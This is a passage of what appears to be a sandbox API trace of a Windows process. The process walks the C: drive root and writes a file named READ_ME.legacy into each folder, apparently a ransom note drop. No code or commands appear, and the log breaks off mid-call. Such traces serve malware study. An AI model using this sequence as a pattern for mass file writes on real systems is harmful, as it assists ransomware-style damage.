[0066.318] GetLastError () returned 0x57 [0066.318] SetLastError (dwErrCode=0x57) [0066.318] GetLastError () returned 0x57 [0066.318] SetLastError (dwErrCode=0x57) [0066.318] GetLastError () returned 0x57 [0066.318] SetLastError (dwErrCode=0x57) [0066.319] GetLastError () returned 0x57 [0066.319] SetLastError (dwErrCode=0x57) [0066.319] GetLastError () returned 0x57 [0066.319] SetLastError (dwErrCode=0x57) [0066.319] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x4) returned 0x54d130 [0066.319] GetLastError () returned 0x57 [0066.319] SetLastError (dwErrCode=0x57) [0066.319] GetLastError () returned 0x57 [0066.320] SetLastError (dwErrCode=0x57) [0066.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xb8) returned 0x56e180 [0066.320] GetLastError () returned 0x57 [0066.320] SetLastError (dwErrCode=0x57) [0066.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6a6) returned 0x578110 [0066.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578110 | out: hHeap=0x520000) returned 1 [0066.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1b0 | out: hHeap=0x520000) returned 1 [0066.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0066.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d130 | out: hHeap=0x520000) returned 1 [0066.321] GetLastError () returned 0x57 [0066.321] SetLastError (dwErrCode=0x57) [0066.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x54d220 [0066.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d180 | out: hHeap=0x520000) returned 1 [0066.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0e0 | out: hHeap=0x520000) returned 1 [0066.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d180 [0066.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1e0 [0066.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571860 [0066.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5718d8 [0066.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571978 [0066.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571978 | out: hHeap=0x520000) returned 1 [0066.325] FindFirstFileW (in: lpFileName="\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x728d443f, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x553260 [0066.326] GetLastError () returned 0x57 [0066.326] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x28) returned 0x56eb50 [0066.326] SetLastError (dwErrCode=0x57) [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.326] GetLastError () returned 0x57 [0066.326] SetLastError (dwErrCode=0x57) [0066.326] GetLastError () returned 0x57 [0066.326] SetLastError (dwErrCode=0x57) [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571978 [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0066.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571978 | out: hHeap=0x520000) returned 1 [0066.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d10 [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0066.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x533cc0 [0066.327] GetLastError () returned 0x57 [0066.327] SetLastError (dwErrCode=0x57) [0066.327] GetLastError () returned 0x57 [0066.327] SetLastError (dwErrCode=0x57) [0066.327] GetLastError () returned 0x57 [0066.327] SetLastError (dwErrCode=0x57) [0066.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0066.327] CreateFileW (lpFileName="\\$GetCurrent\\READ_ME.legacy" (normalized: "c:\\$getcurrent\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0066.329] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.330] CloseHandle (hObject=0x448) returned 1 [0066.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x533cc0 | out: hHeap=0x520000) returned 1 [0066.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0066.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0066.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d10 | out: hHeap=0x520000) returned 1 [0066.337] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x728d443f, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0066.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.338] GetLastError () returned 0x0 [0066.338] SetLastError (dwErrCode=0x0) [0066.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x533cc0 [0066.338] GetLastError () returned 0x0 [0066.338] SetLastError (dwErrCode=0x0) [0066.338] GetLastError () returned 0x0 [0066.338] SetLastError (dwErrCode=0x0) [0066.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0066.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c98 [0066.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0066.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c98 | out: hHeap=0x520000) returned 1 [0066.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0066.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bf8 [0066.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c98 [0066.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0066.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0066.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.339] GetLastError () returned 0x0 [0066.339] SetLastError (dwErrCode=0x0) [0066.339] GetLastError () returned 0x0 [0066.339] SetLastError (dwErrCode=0x0) [0066.339] GetLastError () returned 0x0 [0066.339] SetLastError (dwErrCode=0x0) [0066.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c38 [0066.339] CreateFileW (lpFileName="\\$Recycle.Bin\\READ_ME.legacy" (normalized: "c:\\$recycle.bin\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c38 | out: hHeap=0x520000) returned 1 [0066.340] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.341] CloseHandle (hObject=0x448) returned 1 [0066.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0066.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0066.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c98 | out: hHeap=0x520000) returned 1 [0066.342] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x728d443f, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0066.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x533cc0 | out: hHeap=0x520000) returned 1 [0066.342] GetLastError () returned 0x0 [0066.342] SetLastError (dwErrCode=0x0) [0066.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.342] GetLastError () returned 0x0 [0066.342] SetLastError (dwErrCode=0x0) [0066.342] GetLastError () returned 0x0 [0066.342] SetLastError (dwErrCode=0x0) [0066.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x533cc0 [0066.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x533cc0 | out: hHeap=0x520000) returned 1 [0066.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x533cc0 [0066.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ba8 [0066.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x534cf8 [0066.343] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x728d443f, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0066.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.343] GetLastError () returned 0x0 [0066.343] SetLastError (dwErrCode=0x0) [0066.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.343] GetLastError () returned 0x0 [0066.343] SetLastError (dwErrCode=0x0) [0066.343] GetLastError () returned 0x0 [0066.343] SetLastError (dwErrCode=0x0) [0066.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0066.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0066.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0066.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0066.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0066.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c98 [0066.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0066.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0066.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0066.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0066.344] GetLastError () returned 0x0 [0066.344] SetLastError (dwErrCode=0x0) [0066.344] GetLastError () returned 0x0 [0066.344] SetLastError (dwErrCode=0x0) [0066.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0066.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0066.344] GetLastError () returned 0x0 [0066.347] SetLastError (dwErrCode=0x0) [0066.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0066.347] CreateFileW (lpFileName="\\588bce7c90097ed212\\READ_ME.legacy" (normalized: "c:\\588bce7c90097ed212\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0066.349] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.350] CloseHandle (hObject=0x448) returned 1 [0066.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0066.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0066.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0066.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0066.351] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x728d443f, cFileName="Boot", cAlternateFileName="")) returned 1 [0066.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.351] GetLastError () returned 0x0 [0066.351] SetLastError (dwErrCode=0x0) [0066.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.351] GetLastError () returned 0x0 [0066.351] SetLastError (dwErrCode=0x0) [0066.351] GetLastError () returned 0x0 [0066.351] SetLastError (dwErrCode=0x0) [0066.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b08 [0066.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0066.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0066.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0066.352] GetLastError () returned 0x0 [0066.352] SetLastError (dwErrCode=0x0) [0066.352] GetLastError () returned 0x0 [0066.352] SetLastError (dwErrCode=0x0) [0066.352] GetLastError () returned 0x0 [0066.352] SetLastError (dwErrCode=0x0) [0066.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0066.352] CreateFileW (lpFileName="\\Boot\\READ_ME.legacy" (normalized: "c:\\boot\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0066.354] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.355] CloseHandle (hObject=0x448) returned 1 [0066.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0066.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0066.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0066.356] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0xfffffffe, dwReserved1=0x728d443f, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0066.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.356] GetLastError () returned 0x0 [0066.356] SetLastError (dwErrCode=0x0) [0066.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.356] GetLastError () returned 0x0 [0066.356] SetLastError (dwErrCode=0x0) [0066.356] GetLastError () returned 0x0 [0066.356] SetLastError (dwErrCode=0x0) [0066.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b30 [0066.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x534e98 [0066.356] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0xfffffffe, dwReserved1=0x728d443f, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0066.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.357] GetLastError () returned 0x0 [0066.357] SetLastError (dwErrCode=0x0) [0066.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.357] GetLastError () returned 0x0 [0066.357] SetLastError (dwErrCode=0x0) [0066.357] GetLastError () returned 0x0 [0066.357] SetLastError (dwErrCode=0x0) [0066.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bd0 [0066.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x534f18 [0066.357] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xfffffffe, dwReserved1=0x728d443f, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0066.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.357] GetLastError () returned 0x0 [0066.357] SetLastError (dwErrCode=0x0) [0066.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.357] GetLastError () returned 0x0 [0066.357] SetLastError (dwErrCode=0x0) [0066.358] GetLastError () returned 0x0 [0066.358] SetLastError (dwErrCode=0x0) [0066.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b58 [0066.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b58 | out: hHeap=0x520000) returned 1 [0066.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571cc0 [0066.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x534fd8 [0066.358] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0066.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.358] GetLastError () returned 0x0 [0066.358] SetLastError (dwErrCode=0x0) [0066.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.358] GetLastError () returned 0x0 [0066.358] SetLastError (dwErrCode=0x0) [0066.358] GetLastError () returned 0x0 [0066.358] SetLastError (dwErrCode=0x0) [0066.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0066.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0066.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0066.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0066.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0066.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ce8 [0066.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0066.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0066.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0066.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0066.359] GetLastError () returned 0x0 [0066.359] SetLastError (dwErrCode=0x0) [0066.359] GetLastError () returned 0x0 [0066.359] SetLastError (dwErrCode=0x0) [0066.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0066.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0066.360] GetLastError () returned 0x0 [0066.360] SetLastError (dwErrCode=0x0) [0066.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0066.360] CreateFileW (lpFileName="\\Documents and Settings\\READ_ME.legacy" (normalized: "c:\\documents and settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0066.372] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.373] CloseHandle (hObject=0x448) returned 1 [0066.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0066.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0066.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0066.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0066.373] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ESD", cAlternateFileName="")) returned 1 [0066.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.373] GetLastError () returned 0x0 [0066.373] SetLastError (dwErrCode=0x0) [0066.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.373] GetLastError () returned 0x0 [0066.373] SetLastError (dwErrCode=0x0) [0066.373] GetLastError () returned 0x0 [0066.373] SetLastError (dwErrCode=0x0) [0066.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b80 [0066.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0066.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0066.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0066.374] GetLastError () returned 0x0 [0066.374] SetLastError (dwErrCode=0x0) [0066.374] GetLastError () returned 0x0 [0066.374] SetLastError (dwErrCode=0x0) [0066.374] GetLastError () returned 0x0 [0066.374] SetLastError (dwErrCode=0x0) [0066.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0066.374] CreateFileW (lpFileName="\\ESD\\READ_ME.legacy" (normalized: "c:\\esd\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 